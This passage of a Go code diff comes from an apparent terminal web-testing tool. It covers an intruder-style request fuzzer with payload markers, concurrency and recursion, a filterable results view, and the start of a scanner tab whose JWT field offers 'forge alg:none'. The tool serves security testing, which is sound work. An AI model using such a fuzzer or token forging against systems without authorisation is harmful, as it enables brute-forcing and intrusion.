return errMsg{fmt.Errorf("payload %q: %w", spec, err)}
|
||||
}
|
||||
gens = append(gens, g)
|
||||
}
|
||||
if len(gens) == 0 {
|
||||
return errMsg{fmt.Errorf("укажи хотя бы один payload (ctrl+p — добавить поле)")}
|
||||
}
|
||||
|
||||
concurrency, _ := strconv.Atoi(concurrencyStr)
|
||||
if concurrency <= 0 {
|
||||
concurrency = 10
|
||||
}
|
||||
rateLimitVal, _ := strconv.Atoi(rateLimitStr)
|
||||
timeoutVal, _ := strconv.Atoi(timeoutStr)
|
||||
if timeoutVal <= 0 {
|
||||
timeoutVal = 10
|
||||
}
|
||||
rateLimit := time.Duration(rateLimitVal) * time.Millisecond
|
||||
timeout := time.Duration(timeoutVal) * time.Second
|
||||
|
||||
eng := engine.New(engine.Config{
|
||||
Concurrency: concurrency,
|
||||
RateLimit: rateLimit,
|
||||
Timeout: timeout,
|
||||
InsecureSkipVerify: insecure,
|
||||
ForceScheme: scheme,
|
||||
})
|
||||
|
||||
base := make([]string, len(points))
|
||||
total := engine.EstimateTotal(mode, points, gens)
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
ch, err := eng.Run(ctx, mode, clean, points, gens, base)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return errMsg{err}
|
||||
}
|
||||
|
||||
var recursion *recursionMeta
|
||||
if recursionEnabled && len(points) == 1 {
|
||||
statusPred, _ := engine.ParseStatusFilter(defaultRecursionStatuses) // синтаксис уже проверен константой, ошибки не будет
|
||||
recursion = &recursionMeta{
|
||||
rawTemplate: raw,
|
||||
pointIndex: 0,
|
||||
mode: mode,
|
||||
specs: specs,
|
||||
depth: 0,
|
||||
maxDepth: defaultRecursionMaxDepth,
|
||||
statusPred: statusPred,
|
||||
concurrency: concurrency,
|
||||
rateLimit: rateLimit,
|
||||
timeout: timeout,
|
||||
insecure: insecure,
|
||||
forceScheme: scheme,
|
||||
}
|
||||
}
|
||||
|
||||
return attackStartedMsg{ch: ch, cancel: cancel, total: total, recursion: recursion}
|
||||
}
|
||||
}
|
||||
|
||||
func (m requestBuilderModel) View() string {
|
||||
var b strings.Builder
|
||||
|
||||
b.WriteString(fieldLabel("Запрос (§...§ отмечает точку вставки)", m.focusIdx == 0))
|
||||
b.WriteString(m.textarea.View())
|
||||
b.WriteString("\n\n")
|
||||
|
||||
b.WriteString(fmt.Sprintf("Режим: %-11s (ctrl+g) Схема: %-5s (ctrl+h) Insecure TLS: %v (ctrl+t)\n", modeName(m.mode), m.scheme, m.insecure))
|
||||
b.WriteString(fmt.Sprintf("Рекурсия в директории: %v (ctrl+u; работает только с одним §маркером§, статусы %s, глубина %d)\n\n", m.recursionEnabled, defaultRecursionStatuses, defaultRecursionMaxDepth))
|
||||
|
||||
b.WriteString("Payload'ы, по одному на §маркер§ (ctrl+p — добавить, ctrl+x — убрать):\n")
|
||||
for i, ti := range m.payloadInputs {
|
||||
b.WriteString(fieldLabel(fmt.Sprintf(" #%d", i+1), m.focusIdx == i+1))
|
||||
b.WriteString(ti.View())
|
||||
b.WriteString("\n")
|
||||
}
|
||||
b.WriteString("\n")
|
||||
|
||||
idxConcurrency := len(m.payloadInputs) + 1
|
||||
idxRateLimit := len(m.payloadInputs) + 2
|
||||
idxTimeout := len(m.payloadInputs) + 3
|
||||
|
||||
b.WriteString(fieldLabel("Concurrency", m.focusIdx == idxConcurrency))
|
||||
b.WriteString(m.concurrency.View())
|
||||
b.WriteString("\n")
|
||||
b.WriteString(fieldLabel("Rate limit, мс", m.focusIdx == idxRateLimit))
|
||||
b.WriteString(m.rateLimitMs.View())
|
||||
b.WriteString("\n")
|
||||
b.WriteString(fieldLabel("Timeout, с", m.focusIdx == idxTimeout))
|
||||
b.WriteString(m.timeoutSec.View())
|
||||
b.WriteString("\n\n")
|
||||
|
||||
if m.errMsg != "" {
|
||||
b.WriteString("Ошибка: " + m.errMsg + "\n\n")
|
||||
}
|
||||
if m.statusMsg != "" {
|
||||
b.WriteString(m.statusMsg + "\n\n")
|
||||
}
|
||||
|
||||
b.WriteString("tab/shift+tab — между полями · ctrl+r — атака · ctrl+n — подсказать заготовку\n")
|
||||
b.WriteString("ctrl+l — обзор заготовок · ctrl+u — рекурсия · f2 — результаты · ctrl+c — выход\n")
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// fieldLabel помечает подпись поля маркером «▸», если оно сейчас в фокусе.
|
||||
func fieldLabel(name string, focused bool) string {
|
||||
marker := " "
|
||||
if focused {
|
||||
marker = "▸ "
|
||||
}
|
||||
return marker + name + "\n"
|
||||
}
|
||||
497
internal/tui/results.go
Normal file
497
internal/tui/results.go
Normal file
|
|
@ -0,0 +1,497 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
neturl "net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/bubbles/textinput"
|
||||
"github.com/charmbracelet/bubbles/viewport"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/engine"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/project"
|
||||
)
|
||||
|
||||
// resultsModel — результаты одной атаки.
|
||||
//
|
||||
// Это единственное место в приложении, которое реально должно
|
||||
// выдерживать сотни тысяч — миллионы элементов (атака по большому
|
||||
// словарю), поэтому устроено иначе, чем можно было бы ожидать по
|
||||
// аналогии с остальными вкладками:
|
||||
//
|
||||
// - Предикаты фильтров (statusPred/lengthPred/...) компилируются один
|
||||
// раз при изменении соответствующего текстового поля (recompileFilters)
|
||||
// и кэшируются — а не парсятся заново на каждый входящий результат.
|
||||
// Раньше именно это парсилось внутри refresh() на каждый AddResult.
|
||||
// - content — строка уже отфильтрованных и отформатированных строк,
|
||||
// пополняется ИНКРЕМЕНТАЛЬНО (WriteString одной новой строки), а не
|
||||
// пересобирается с нуля strings.Join по всем накопленным результатам
|
||||
// на каждый новый (это и было O(N) на входящий результат, то есть
|
||||
// O(N²) суммарно за всю атаку — на миллионе результатов это заводит
|
||||
// TUI намертво независимо от того, насколько быстра сеть).
|
||||
// - Сам вызов viewport.SetContent — тоже не бесплатный: bubbles
|
||||
// перестраивает список строк для скролла на каждый вызов, то есть
|
||||
// стоит O(текущей длины содержимого). Поэтому AddResult НЕ дёргает
|
||||
// SetContent на каждый результат — только помечает dirty=true;
|
||||
// реальный рендер происходит по таймеру (см. resultsTickCmd в
|
||||
// model.go, обновляет только ту атаку, что сейчас видна на экране)
|
||||
// и принудительно — при завершении атаки и при переключении на её
|
||||
// вкладку, чтобы не показывать устаревшее содержимое.
|
||||
//
|
||||
// Полный пересбор (rebuildAll, O(N)) происходит только при смене
|
||||
// фильтров — это ограничено скоростью печати человека, не скоростью
|
||||
// поступления результатов из сети, так что O(N) там не проблема.
|
||||
type resultsModel struct {
|
||||
viewport viewport.Model
|
||||
|
||||
all []engine.Result
|
||||
matched int
|
||||
attacking bool
|
||||
dirty bool // есть непоказанные изменения content — см. doc пакета выше
|
||||
|
||||
statusFilter textinput.Model
|
||||
lengthFilter textinput.Model
|
||||
wordFilter textinput.Model // число слов в теле ответа — аналог -mw/-fw у ffuf
|
||||
lineFilter textinput.Model // число строк в теле ответа — аналог -ml/-fl у ffuf
|
||||
grepFilter textinput.Model
|
||||
grepInvert bool
|
||||
highlightFilter textinput.Model // своё regex-правило подсветки строк
|
||||
filterErr string
|
||||
saveMsg string // результат последнего ctrl+p ("сохранено N/M в проект" и т.п.)
|
||||
|
||||
// Кэшированные скомпилированные фильтры — см. recompileFilters.
|
||||
statusPred engine.StatusFilter
|
||||
lengthPred engine.LengthFilter
|
||||
wordPred engine.WordFilter
|
||||
linePred engine.LineFilter
|
||||
grepNeedle string
|
||||
highlightRe *regexp.Regexp
|
||||
|
||||
content strings.Builder // весь текст viewport целиком, включая заголовок — см. doc пакета
|
||||
|
||||
focus int // 0 статус, 1 длина, 2 слова, 3 строки, 4 grep, 5 подсветка, 6 viewport (скролл)
|
||||
}
|
||||
|
||||
func newResults() resultsModel {
|
||||
statusIn := textinput.New()
|
||||
statusIn.Placeholder = "напр. 200 или 200,301 или 200-299"
|
||||
statusIn.CharLimit = 128
|
||||
|
||||
lengthIn := textinput.New()
|
||||
lengthIn.Placeholder = "напр. >1000 или 100-500"
|
||||
lengthIn.CharLimit = 64
|
||||
|
||||
wordIn := textinput.New()
|
||||
wordIn.Placeholder = "напр. 10 или >5 или 3-8"
|
||||
wordIn.CharLimit = 64
|
||||
|
||||
lineIn := textinput.New()
|
||||
lineIn.Placeholder = "напр. 1 или >2"
|
||||
lineIn.CharLimit = 64
|
||||
|
||||
grepIn := textinput.New()
|
||||
grepIn.Placeholder = "подстрока в теле ответа (первые 4КБ)"
|
||||
grepIn.CharLimit = 256
|
||||
|
||||
highlightIn := textinput.New()
|
||||
highlightIn.Placeholder = "regex — подсветить совпавшие строки по телу ответа"
|
||||
highlightIn.CharLimit = 256
|
||||
|
||||
m := resultsModel{
|
||||
viewport: viewport.New(0, 0),
|
||||
statusFilter: statusIn,
|
||||
lengthFilter: lengthIn,
|
||||
wordFilter: wordIn,
|
||||
lineFilter: lineIn,
|
||||
grepFilter: grepIn,
|
||||
highlightFilter: highlightIn,
|
||||
}
|
||||
m.recompileFilters() // сразу рендерит пустой viewport с одним заголовком
|
||||
return m
|
||||
}
|
||||
|
||||
// SetSize подгоняет viewport под размер терминала, оставляя место
|
||||
// сверху под шесть строк фильтров (статус/длина/слова/строки/grep/подсветка).
|
||||
func (m *resultsModel) SetSize(width, height int) {
|
||||
if width < 0 {
|
||||
width = 0
|
||||
}
|
||||
if height < 0 {
|
||||
height = 0
|
||||
}
|
||||
m.viewport.Width = width
|
||||
// 11 фиксированных строк: 6 строк фильтров (статус/длина/слова/
|
||||
// строки/grep/highlight) + блок "Показано N из M"+пустая (2) +
|
||||
// разделитель перед viewport... на самом деле viewport начинается
|
||||
// сразу после "Показано\n\n", разделитель уже в этих двух строках —
|
||||
// плюс разделитель+двухстрочный футер (3). Итого 6+2+3 = 11.
|
||||
vh := height - 11
|
||||
if vh < 3 {
|
||||
vh = 3
|
||||
}
|
||||
m.viewport.Height = vh
|
||||
}
|
||||
|
||||
// Reset очищает список и фильтры перед новым запуском атаки.
|
||||
func (m *resultsModel) Reset() {
|
||||
m.all = nil
|
||||
m.matched = 0
|
||||
m.attacking = true
|
||||
m.dirty = false
|
||||
m.recompileFilters()
|
||||
}
|
||||
|
||||
// AddResult дописывает результат в m.all и, если он проходит текущие
|
||||
// (уже скомпилированные) фильтры, приписывает готовую строку к content.
|
||||
// Никакого парсинга фильтров и никакого viewport.SetContent здесь —
|
||||
// оба стоят дороже одного результата и дёргаются отдельно, дросселированно
|
||||
// (см. doc пакета выше). Это и есть амортизированный O(1) на результат.
|
||||
func (m *resultsModel) AddResult(r engine.Result) {
|
||||
m.all = append(m.all, r)
|
||||
if passes, highlighted := m.matches(r); passes {
|
||||
m.matched++
|
||||
m.content.WriteByte('\n')
|
||||
m.content.WriteString(formatResult(len(m.all), r, highlighted))
|
||||
}
|
||||
m.dirty = true
|
||||
}
|
||||
|
||||
// Finish помечает атаку завершённой и форсирует рендер — чтобы самые
|
||||
// последние результаты были видны сразу, не дожидаясь следующего тика.
|
||||
func (m *resultsModel) Finish() {
|
||||
m.attacking = false
|
||||
m.Commit()
|
||||
}
|
||||
|
||||
// Commit переносит накопленный content во viewport, если есть что
|
||||
// переносить (dirty). Вызывается по таймеру (см. resultsTickCmd в
|
||||
// model.go) для атаки, что сейчас на экране, и принудительно — из
|
||||
// Finish и при переключении на вкладку/атаку с этим resultsModel.
|
||||
func (m *resultsModel) Commit() {
|
||||
if !m.dirty {
|
||||
return
|
||||
}
|
||||
m.viewport.SetContent(m.content.String())
|
||||
m.viewport.GotoBottom()
|
||||
m.dirty = false
|
||||
}
|
||||
|
||||
// matches проверяет результат против уже скомпилированных фильтров
|
||||
// (без парсинга текста — предикаты закэшированы в recompileFilters) и
|
||||
// заодно решает, должна ли строка быть подсвечена.
|
||||
func (m *resultsModel) matches(r engine.Result) (passes, highlighted bool) {
|
||||
if m.statusPred != nil && !m.statusPred(r.StatusCode) {
|
||||
return false, false
|
||||
}
|
||||
if m.lengthPred != nil && !m.lengthPred(r.Length) {
|
||||
return false, false
|
||||
}
|
||||
if m.wordPred != nil && !m.wordPred(int64(countWords(r.Body))) {
|
||||
return false, false
|
||||
}
|
||||
if m.linePred != nil && !m.linePred(int64(countLines(r.Body))) {
|
||||
return false, false
|
||||
}
|
||||
if m.grepNeedle != "" {
|
||||
contains := strings.Contains(strings.ToLower(r.Body), m.grepNeedle)
|
||||
if contains == m.grepInvert {
|
||||
return false, false
|
||||
}
|
||||
}
|
||||
highlighted = m.highlightRe != nil && m.highlightRe.MatchString(r.Body)
|
||||
return true, highlighted
|
||||
}
|
||||
|
||||
// recompileFilters разбирает текст всех полей фильтра в кэшированные
|
||||
// предикаты (см. поля statusPred и т.д.) и запускает полный пересбор —
|
||||
// вызывается при любом изменении текста фильтра. Это единственное
|
||||
// место, где парсинг фильтров вообще происходит; AddResult его больше
|
||||
// не трогает.
|
||||
func (m *resultsModel) recompileFilters() {
|
||||
var statusErr, lengthErr, wordErr, lineErr error
|
||||
m.statusPred, statusErr = engine.ParseStatusFilter(m.statusFilter.Value())
|
||||
m.lengthPred, lengthErr = engine.ParseLengthFilter(m.lengthFilter.Value())
|
||||
m.wordPred, wordErr = engine.ParseWordFilter(m.wordFilter.Value())
|
||||
m.linePred, lineErr = engine.ParseLineFilter(m.lineFilter.Value())
|
||||
m.grepNeedle = strings.ToLower(strings.TrimSpace(m.grepFilter.Value()))
|
||||
|
||||
m.highlightRe = nil
|
||||
highlightErr := ""
|
||||
if pattern := strings.TrimSpace(m.highlightFilter.Value()); pattern != "" {
|
||||
re, err := regexp.Compile(pattern)
|
||||
if err != nil {
|
||||
highlightErr = "подсветка: " + err.Error()
|
||||
} else {
|
||||
m.highlightRe = re
|
||||
}
|
||||
}
|
||||
|
||||
var errParts []string
|
||||
if statusErr != nil {
|
||||
errParts = append(errParts, "статус: "+statusErr.Error())
|
||||
}
|
||||
if lengthErr != nil {
|
||||
errParts = append(errParts, "длина: "+lengthErr.Error())
|
||||
}
|
||||
if wordErr != nil {
|
||||
errParts = append(errParts, "слова: "+wordErr.Error())
|
||||
}
|
||||
if lineErr != nil {
|
||||
errParts = append(errParts, "строки: "+lineErr.Error())
|
||||
}
|
||||
if highlightErr != "" {
|
||||
errParts = append(errParts, highlightErr)
|
||||
}
|
||||
m.filterErr = strings.Join(errParts, " · ")
|
||||
|
||||
m.rebuildAll()
|
||||
}
|
||||
|
||||
// rebuildAll — единственное O(N)-место: полностью пересобирает content
|
||||
// из m.all с текущими (уже скомпилированными) предикатами и сразу же
|
||||
// рендерит во viewport (это вызов из пользовательского ввода — печать
|
||||
// в поле фильтра, а не входящий поток результатов, так что синхронный
|
||||
// SetContent здесь уместен и не нуждается в дросселировании).
|
||||
func (m *resultsModel) rebuildAll() {
|
||||
m.content.Reset()
|
||||
header := fmt.Sprintf("%-5s %-6s %-6s %-8s %-10s %s", "#", "СТАТУС", "ТИП", "ДЛИНА", "ВРЕМЯ", "PAYLOAD")
|
||||
sep := strings.Repeat("─", len(header))
|
||||
m.content.WriteString(header)
|
||||
m.content.WriteByte('\n')
|
||||
m.content.WriteString(sep)
|
||||
|
||||
matched := 0
|
||||
for i, r := range m.all {
|
||||
passes, highlighted := m.matches(r)
|
||||
if !passes {
|
||||
continue
|
||||
}
|
||||
matched++
|
||||
m.content.WriteByte('\n')
|
||||
m.content.WriteString(formatResult(i+1, r, highlighted))
|
||||
}
|
||||
m.matched = matched
|
||||
m.viewport.SetContent(m.content.String())
|
||||
}
|
||||
|
||||
// countWords/countLines — то же самое, что считают -mw/-ml у ffuf: слова
|
||||
// как непрерывные последовательности не-пробельных символов
|
||||
// (strings.Fields), строки как число переносов +1 (пустое тело — 0 строк,
|
||||
// а не 1, иначе "нет тела" и "одна пустая строка" стали бы неразличимы
|
||||
// фильтром). Считается по r.Body — то есть по капированным (до 4КБ)
|
||||
// первым байтам тела, не по полному ответу; для типичных страниц-404
|
||||
// или листингов директорий этого достаточно, но на очень длинных
|
||||
// страницах число может не совпасть с тем, что показал бы браузер.
|
||||
func countWords(s string) int {
|
||||
return len(strings.Fields(s))
|
||||
}
|
||||
|
||||
func countLines(s string) int {
|
||||
if s == "" {
|
||||
return 0
|
||||
}
|
||||
return strings.Count(s, "\n") + 1
|
||||
}
|
||||
|
||||
// formatResult рендерит одну строку таблицы результатов. Ошибочные
|
||||
// запросы (таймаут, обрыв соединения и т.п.) помечаются ERR вместо
|
||||
// статус-кода — это не то же самое, что HTTP-ответ с ошибкой на стороне
|
||||
// сервера, который отобразится обычным StatusCode (403/500/...).
|
||||
//
|
||||
// highlighted включает единый styleHighlight на всю строку вместо
|
||||
// обычной раскраски статуса/типа контента — см. комментарий у
|
||||
// styleHighlight в style.go про причину не комбинировать стили инлайн.
|
||||
func formatResult(n int, r engine.Result, highlighted bool) string {
|
||||
ct := contentTypeLabel(r.Headers)
|
||||
if ct == "" {
|
||||
ct = "-"
|
||||
}
|
||||
|
||||
if r.Err != nil {
|
||||
plain := fmt.Sprintf("%-5d %-6s %-6s %-8s %-10s %v (%v)", n, "ERR", "-", "-", "-", r.Payload, r.Err)
|
||||
if highlighted {
|
||||
return styleHighlight.Render(plain)
|
||||
}
|
||||
status := styleErrStatus.Render(fmt.Sprintf("%-6s", "ERR"))
|
||||
return fmt.Sprintf("%-5d %s %-6s %-8s %-10s %v (%v)", n, status, "-", "-", "-", r.Payload, r.Err)
|
||||
}
|
||||
|
||||
plain := fmt.Sprintf("%-5d %-6d %-6s %-8d %-10s %v", n, r.StatusCode, ct, r.Length, r.Duration.Round(time.Millisecond), r.Payload)
|
||||
if highlighted {
|
||||
return styleHighlight.Render(plain)
|
||||
}
|
||||
|
||||
status := statusStyle(r.StatusCode).Render(fmt.Sprintf("%-6d", r.StatusCode))
|
||||
ctStyled := styleDim.Render(fmt.Sprintf("%-6s", ct))
|
||||
return fmt.Sprintf("%-5d %s %s %-8d %-10s %v", n, status, ctStyled, r.Length, r.Duration.Round(time.Millisecond), r.Payload)
|
||||
}
|
||||
|
||||
// saveToProjectCmd (ctrl+p) сохраняет в открытый проект только то, что
|
||||
// сейчас проходит фильтры — "видишь на экране, то и сохраняешь", а не
|
||||
// молча дублирует весь список независимо от того, что отфильтровано.
|
||||
// Переиспользует уже скомпилированные предикаты (не парсит текст полей
|
||||
// заново) — то же, чем пользуется рендер, гарантированно то же самое,
|
||||
// что видно на экране в момент нажатия ctrl+p.
|
||||
func (m resultsModel) saveToProjectCmd() tea.Cmd {
|
||||
statusPred := m.statusPred
|
||||
lengthPred := m.lengthPred
|
||||
wordPred := m.wordPred
|
||||
linePred := m.linePred
|
||||
grepNeedle := m.grepNeedle
|
||||
grepInvert := m.grepInvert
|
||||
all := append([]engine.Result(nil), m.all...)
|
||||
|
||||
return func() tea.Msg {
|
||||
var records []project.Record
|
||||
for _, r := range all {
|
||||
if statusPred != nil && !statusPred(r.StatusCode) {
|
||||
continue
|
||||
}
|
||||
if lengthPred != nil && !lengthPred(r.Length) {
|
||||
continue
|
||||
}
|
||||
if wordPred != nil && !wordPred(int64(countWords(r.Body))) {
|
||||
continue
|
||||
}
|
||||
if linePred != nil && !linePred(int64(countLines(r.Body))) {
|
||||
continue
|
||||
}
|
||||
if grepNeedle != "" {
|
||||
contains := strings.Contains(strings.ToLower(r.Body), grepNeedle)
|
||||
if contains == grepInvert {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
host := ""
|
||||
if u, err := neturl.Parse(r.URL); err == nil {
|
||||
host = u.Host
|
||||
}
|
||||
records = append(records, project.Record{
|
||||
Source: "intruder",
|
||||
Host: host,
|
||||
Method: r.Method,
|
||||
URL: r.URL,
|
||||
Status: r.StatusCode,
|
||||
ContentLength: r.Length,
|
||||
RawRequest: fmt.Sprintf("%s %s\npayload: %v", r.Method, r.URL, r.Payload),
|
||||
RawResponse: r.Body,
|
||||
})
|
||||
}
|
||||
return saveToProjectMsg{origin: viewResults, records: records}
|
||||
}
|
||||
}
|
||||
|
||||
func (m resultsModel) Update(msg tea.Msg) (resultsModel, tea.Cmd) {
|
||||
if key, ok := msg.(tea.KeyMsg); ok {
|
||||
switch key.String() {
|
||||
case "tab":
|
||||
m.focus = (m.focus + 1) % 7
|
||||
m.statusFilter.Blur()
|
||||
m.lengthFilter.Blur()
|
||||
m.wordFilter.Blur()
|
||||
m.lineFilter.Blur()
|
||||
m.grepFilter.Blur()
|
||||
m.highlightFilter.Blur()
|
||||
switch m.focus {
|
||||
case 0:
|
||||
m.statusFilter.Focus()
|
||||
case 1:
|
||||
m.lengthFilter.Focus()
|
||||
case 2:
|
||||
m.wordFilter.Focus()
|
||||
case 3:
|
||||
m.lineFilter.Focus()
|
||||
case 4:
|
||||
m.grepFilter.Focus()
|
||||
case 5:
|
||||
m.highlightFilter.Focus()
|
||||
}
|
||||
return m, nil
|
||||
case "ctrl+i":
|
||||
m.grepInvert = !m.grepInvert
|
||||
m.recompileFilters()
|
||||
return m, nil
|
||||
case "ctrl+p":
|
||||
return m, m.saveToProjectCmd()
|
||||
}
|
||||
}
|
||||
|
||||
var cmd tea.Cmd
|
||||
switch m.focus {
|
||||
case 0:
|
||||
m.statusFilter, cmd = m.statusFilter.Update(msg)
|
||||
m.recompileFilters()
|
||||
case 1:
|
||||
m.lengthFilter, cmd = m.lengthFilter.Update(msg)
|
||||
m.recompileFilters()
|
||||
case 2:
|
||||
m.wordFilter, cmd = m.wordFilter.Update(msg)
|
||||
m.recompileFilters()
|
||||
case 3:
|
||||
m.lineFilter, cmd = m.lineFilter.Update(msg)
|
||||
m.recompileFilters()
|
||||
case 4:
|
||||
m.grepFilter, cmd = m.grepFilter.Update(msg)
|
||||
m.recompileFilters()
|
||||
case 5:
|
||||
m.highlightFilter, cmd = m.highlightFilter.Update(msg)
|
||||
m.recompileFilters()
|
||||
case 6:
|
||||
m.viewport, cmd = m.viewport.Update(msg)
|
||||
}
|
||||
return m, cmd
|
||||
}
|
||||
|
||||
func (m resultsModel) View() string {
|
||||
focusMark := func(i int) string {
|
||||
if m.focus == i {
|
||||
return "▸ "
|
||||
}
|
||||
return " "
|
||||
}
|
||||
|
||||
invert := ""
|
||||
if m.grepInvert {
|
||||
invert = " (инверсия, ctrl+i)"
|
||||
} else {
|
||||
invert = " (ctrl+i — инвертировать)"
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(focusMark(0) + "Статус: ")
|
||||
b.WriteString(m.statusFilter.View())
|
||||
b.WriteString("\n")
|
||||
b.WriteString(focusMark(1) + "Длина: ")
|
||||
b.WriteString(m.lengthFilter.View())
|
||||
b.WriteString("\n")
|
||||
b.WriteString(focusMark(2) + "Слова: ")
|
||||
b.WriteString(m.wordFilter.View())
|
||||
b.WriteString("\n")
|
||||
b.WriteString(focusMark(3) + "Строки: ")
|
||||
b.WriteString(m.lineFilter.View())
|
||||
b.WriteString("\n")
|
||||
b.WriteString(focusMark(4) + "Grep: ")
|
||||
b.WriteString(m.grepFilter.View())
|
||||
b.WriteString(invert)
|
||||
b.WriteString("\n")
|
||||
b.WriteString(focusMark(5) + "Highlight: ")
|
||||
b.WriteString(m.highlightFilter.View())
|
||||
b.WriteString("\n")
|
||||
|
||||
if m.filterErr != "" {
|
||||
b.WriteString("Ошибка фильтра: " + m.filterErr + "\n")
|
||||
}
|
||||
if m.saveMsg != "" {
|
||||
b.WriteString(m.saveMsg + "\n")
|
||||
}
|
||||
|
||||
b.WriteString(fmt.Sprintf("Показано %d из %d\n\n", m.matched, len(m.all)))
|
||||
b.WriteString(focusMark(6) + m.viewport.View())
|
||||
b.WriteString("\n\ntab — между полями · ctrl+i — инвертировать grep · ctrl+p — сохранить показанное в проект\n")
|
||||
b.WriteString("[ / ] — другие атаки · esc — отменить\n")
|
||||
return b.String()
|
||||
}
|
||||
447
internal/tui/scannerview.go
Normal file
447
internal/tui/scannerview.go
Normal file
|
|
@ -0,0 +1,447 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
neturl "net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/bubbles/textarea"
|
||||
"github.com/charmbracelet/bubbles/textinput"
|
||||
"github.com/charmbracelet/bubbles/viewport"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/engine"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/project"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/scanner"
|
||||
)
|
||||
|
||||
// scannerModel — вкладка Scanner: запрос с §маркером§ (сканируется ровно
|
||||
// одна точка вставки за прогон — см. pointIdx), чеклист активных
|
||||
// проверок, отдельный блок JWT (не требует запроса вообще — декодирует
|
||||
// вставленный токен) и поток находок в общем viewport.
|
||||
type scannerModel struct {
|
||||
textarea textarea.Model
|
||||
pointIdx textinput.Model
|
||||
|
||||
checkSelected map[string]bool
|
||||
checkCursor int
|
||||
|
||||
jwtInput textinput.Model
|
||||
|
||||
insecure bool
|
||||
running bool
|
||||
count int
|
||||
lines []string
|
||||
viewport viewport.Model
|
||||
errMsg string
|
||||
statusMsg string
|
||||
|
||||
progressDone int
|
||||
progressTotal int
|
||||
|
||||
// focus: 0 — запрос, 1 — индекс точки, 2 — список проверок,
|
||||
// 3 — поле JWT, 4 — viewport находок (скролл).
|
||||
focus int
|
||||
}
|
||||
|
||||
func newScannerView() scannerModel {
|
||||
ta := textarea.New()
|
||||
ta.Placeholder = "GET /search?q=§1§ HTTP/1.1\nHost: example.com\n\n"
|
||||
ta.ShowLineNumbers = true
|
||||
ta.Focus()
|
||||
|
||||
pointIn := textinput.New()
|
||||
pointIn.Placeholder = "0"
|
||||
pointIn.CharLimit = 4
|
||||
|
||||
jwtIn := textinput.New()
|
||||
jwtIn.Placeholder = "вставь JWT: ctrl+d — декодировать, ctrl+f — forge alg:none"
|
||||
jwtIn.CharLimit = 4096
|
||||
|
||||
selected := make(map[string]bool)
|
||||
for _, name := range scanner.AllCheckNames() {
|
||||
selected[name] = true // по умолчанию включены все — можно выключить лишние через space
|
||||
}
|
||||
|
||||
return scannerModel{
|
||||
textarea: ta,
|
||||
pointIdx: pointIn,
|
||||
checkSelected: selected,
|
||||
jwtInput: jwtIn,
|
||||
viewport: viewport.New(0, 0),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *scannerModel) SetSize(width, height int) {
|
||||
if width < 0 {
|
||||
width = 0
|
||||
}
|
||||
if height < 0 {
|
||||
height = 0
|
||||
}
|
||||
taHeight := height / 4
|
||||
if taHeight < 3 {
|
||||
taHeight = 3
|
||||
}
|
||||
m.textarea.SetWidth(width)
|
||||
m.textarea.SetHeight(taHeight)
|
||||
|
||||
m.viewport.Width = width
|
||||
// 15 фиксированных строк + по одной на каждую проверку в списке
|
||||
// (построчный подсчёт по View(): "Запрос"-метка 1, разделитель 1,
|
||||
// строка "Индекс точки/Insecure" 1 + разделитель 1, "Проверки"-метка
|
||||
// 1, список проверок — по строке на каждую (динамически, отдельное
|
||||
// слагаемое len(AllCheckNames())), разделитель 1, "JWT"-метка 1,
|
||||
// поле JWT 1, разделитель 1, строка статуса 1, разделитель перед
|
||||
// viewport 1, разделитель+футер(две строки) 3 — итого 15 без учёта
|
||||
// списка проверок. Раньше стояло -12-K — недосчитано на 3 строки ещё
|
||||
// до разбиения футера.
|
||||
vh := height - taHeight - 15 - len(scanner.AllCheckNames())
|
||||
if vh < 3 {
|
||||
vh = 3
|
||||
}
|
||||
m.viewport.Height = vh
|
||||
}
|
||||
|
||||
// Reset очищает находки и прогресс перед новым запуском сканирования.
|
||||
func (m *scannerModel) Reset() {
|
||||
m.lines = nil
|
||||
m.count = 0
|
||||
m.running = true
|
||||
m.progressDone = 0
|
||||
m.progressTotal = 0
|
||||
m.viewport.SetContent("")
|
||||
}
|
||||
|
||||
// Finish помечает сканирование завершённым (канал находок закрылся).
|
||||
func (m *scannerModel) Finish() {
|
||||
m.running = false
|
||||
}
|
||||
|
||||
// AddFinding дописывает находку (из активного сканирования, CORS или
|
||||
// JWT — источник для отображения не важен, всё в одном потоке).
|
||||
func (m *scannerModel) AddFinding(f scanner.Finding) {
|
||||
m.count++
|
||||
m.lines = append(m.lines, formatFinding(m.count, f))
|
||||
m.viewport.SetContent(strings.Join(m.lines, "\n\n"))
|
||||
m.viewport.GotoBottom()
|
||||
}
|
||||
|
||||
func formatFinding(n int, f scanner.Finding) string {
|
||||
sevText := severityStyle(f.Severity).Render(fmt.Sprintf("%-6s", f.Severity.String()))
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("#%-3d %s %s\n", n, sevText, f.Check))
|
||||
b.WriteString(" " + f.Detail + "\n")
|
||||
if f.Payload != "" {
|
||||
b.WriteString(" payload: " + f.Payload + "\n")
|
||||
}
|
||||
if f.Evidence != "" {
|
||||
b.WriteString(" evidence: " + f.Evidence)
|
||||
}
|
||||
return strings.TrimRight(b.String(), "\n")
|
||||
}
|
||||
|
||||
func (m *scannerModel) selectedCheckNames() []string {
|
||||
var out []string
|
||||
for _, name := range scanner.AllCheckNames() {
|
||||
if m.checkSelected[name] {
|
||||
out = append(out, name)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (m scannerModel) Update(msg tea.Msg) (scannerModel, tea.Cmd) {
|
||||
